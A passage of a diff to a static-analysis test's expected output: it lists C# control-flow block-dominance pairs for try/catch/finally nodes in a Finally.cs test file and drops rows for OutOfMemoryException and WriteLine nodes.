[exception: Exception] IOException ex | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:27:9:29:9 | {...} | | Finally.cs:27:9:29:9 | {...} | Finally.cs:27:9:29:9 | {...} | @@ -10045,69 +9954,49 @@ blockDominance | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:34:27:34:32 | throw ...; | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | +| Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:34:27:34:32 | throw ...; | | Finally.cs:34:27:34:32 | throw ...; | Finally.cs:34:27:34:32 | throw ...; | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | +| Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:42:9:43:9 | {...} | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:54:10:54:11 | enter M3 | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:54:10:54:11 | exit M3 | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:54:10:54:11 | exit M3 (abnormal) | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:54:10:54:11 | exit M3 (normal) | -| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:58:13:58:37 | call to method WriteLine | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:59:13:59:19 | return ...; | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:62:9:64:9 | {...} | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:66:9:67:9 | {...} | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:54:10:54:11 | exit M3 | Finally.cs:54:10:54:11 | exit M3 | | Finally.cs:54:10:54:11 | exit M3 (abnormal) | Finally.cs:54:10:54:11 | exit M3 (abnormal) | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:54:10:54:11 | exit M3 (normal) | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:13:58:37 | call to method WriteLine | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:59:13:59:19 | return ...; | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:62:9:64:9 | {...} | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:59:13:59:19 | return ...; | +| Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:54:10:54:11 | exit M3 (abnormal) | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:62:9:64:9 | {...} | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | +| Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:66:9:67:9 | {...} | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:62:9:64:9 | {...} | | Finally.cs:62:9:64:9 | {...} | Finally.cs:62:9:64:9 | {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | +| Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:66:9:67:9 | {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | +| Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:66:9:67:9 | {...} | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:66:9:67:9 | {...} | Finally.cs:66:9:67:9 | {...} | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:74:10:74:11 | enter M4 | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:74:10:74:11 | exit M4 | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:74:10:74:11 | exit M4 (abnormal) | @@ -10480,16 +10369,10 @@ blockDominance | Finally.cs:121:10:121:11 | enter M6 | Finally.cs:121:10:121:11 | enter M6 | | Finally.cs:133:10:133:11 | enter M7 | Finally.cs:133:10:133:11 | enter M7 | | Finally.cs:133:10:133:11 | enter M7 | Finally.cs:133:10:133:11 | exit M7 (abnormal) | -| Finally.cs:133:10:133:11 | enter M7 | Finally.cs:137:13:137:36 | call to method WriteLine | | Finally.cs:133:10:133:11 | enter M7 | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | -| Finally.cs:133:10:133:11 | enter M7 | Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:133:10:133:11 | enter M7 | Finally.cs:140:9:143:9 | {...} | | Finally.cs:133:10:133:11 | exit M7 (abnormal) | Finally.cs:133:10:133:11 | exit M7 (abnormal) | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:13:137:36 | call to method WriteLine | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:140:9:143:9 | {...} | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:140:9:143:9 | {...} | Finally.cs:140:9:143:9 | {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:147:10:147:11 | enter M8 | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:147:10:147:11 | exit M8 | @@ -10505,30 +10388,21 @@ blockDominance | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:41:159:43 | "1" | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:162:13:164:13 | {...} | @@ -10541,14 +10415,11 @@ blockDominance | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:152:17:152:50 | throw ...; | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | -| Finally.cs:152:17:152:50 | throw ...; | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:152:17:152:50 | throw ...; | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:152:17:152:50 | throw ...; | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | | Finally.cs:152:17:152:50 | throw ...; | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:147:10:147:11 | exit M8 (abnormal) | @@ -10559,22 +10430,16 @@ blockDominance | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | -| Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | -| Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | | Finally.cs:152:23:152:49 | object creation of type ArgumentNullException | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | @@ -10582,99 +10447,60 @@ blockDominance | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | -| Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | -| Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | | Finally.cs:155:9:169:9 | [finally: exception(Exception)] {...} | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | | Finally.cs:155:9:169:9 | {...} | Finally.cs:147:10:147:11 | exit M8 (normal) | | Finally.cs:155:9:169:9 | {...} | Finally.cs:155:9:169:9 | {...} | | Finally.cs:155:9:169:9 | {...} | Finally.cs:158:36:158:36 | 1 | | Finally.cs:155:9:169:9 | {...} | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:155:9:169:9 | {...} | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:155:9:169:9 | {...} | Finally.cs:159:41:159:43 | "1" | | Finally.cs:155:9:169:9 | {...} | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:155:9:169:9 | {...} | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | -| Finally.cs:155:9:169:9 | {...} | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:155:9:169:9 | {...} | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:155:9:169:9 | {...} | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:155:9:169:9 | {...} | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:155:9:169:9 | {...} | Finally.cs:162:13:164:13 | {...} | | Finally.cs:155:9:169:9 | {...} | Finally.cs:165:13:168:13 | catch {...} | | Finally.cs:158:36:158:36 | 1 | Finally.cs:158:36:158:36 | 1 | | Finally.cs:158:36:158:36 | 1 | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:158:36:158:36 | 1 | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:158:36:158:36 | 1 | Finally.cs:159:41:159:43 | "1" | -| Finally.cs:158:36:158:36 | 1 | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:158:36:158:36 | 1 | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | -| Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | -| Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | -| Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | -| Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | | Finally.cs:159:21:159:45 | throw ...; | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | -| Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | -| Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | -| Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | -| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:159:41:159:43 | "1" | Finally.cs:159:21:159:45 | throw ...; | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:159:41:159:43 | "1" | Finally.cs:159:41:159:43 | "1" | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | -| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | -| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | -| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | -| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:161:13:164:13 | [finally: 